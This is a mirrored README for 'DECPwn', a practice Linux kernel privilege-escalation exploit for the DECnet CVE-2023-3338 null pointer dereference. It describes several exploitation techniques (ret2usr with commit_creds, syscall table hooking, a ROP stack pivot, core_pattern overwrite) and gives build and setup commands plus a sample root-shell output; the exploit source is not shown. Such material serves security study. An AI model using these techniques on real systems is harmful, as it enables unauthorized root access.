Giter VIP home page Giter VIP logo

cve-2023-3338-decpwn's Introduction

DECPwn

Practicing different Linux kernel exploitation techniques with my DECnet vulnerability and null page mapping enabled.


Scenarios

  • Everything disabled: qemu-system-x86_64 -append "nosmap nosmep nopti nokaslr"

    Code execution is redirected to the output function in userland, which invokes commit_creds(prepare_kernel_cred(0)).

  • Syscall Hooking

    Swap the mkdir system call handler address inside the sys_call_table with a function resembling the one in Scenario 1.

  • SMEP and KPTI enabled: qemu-system-x86_64 -append "nosmap nokaslr"

    Code execution is redirected to a stack pivot that sets $rsp to a ROP chain in the null page.

  • Usermode Helper

    The core_pattern sysctl is overwritten to specify a command to run with elevated privileges when dumping core.

    The program is then interrupted with the SIGABRT signal to trigger the usermode script.

Build

apt install libdnet
gcc -o lpe lpe.c -ldnet
gcc -o lpe-core_pattern lpe-core_pattern.c -ldnet
gcc -o lpe-nosmep lpe-nosmep.c -ldnet -no-pie
gcc -o lpe-syscall lpe-syscall.c -ldnet -no-pie

Run

Configure DECnet as root:

sysctl -w vm.mmap_min_addr="0" # 0x1000
echo -n "1.10" > /proc/sys/net/decnet/node_address

Run the exploit as unprivileged user:

$ ./lpe
[*] Saved state
[*] Triggering NPD
[*] Returned to userland
[*] UID: 0, got root!
#

cve-2023-3338-decpwn's People

Contributors

turtlearm avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.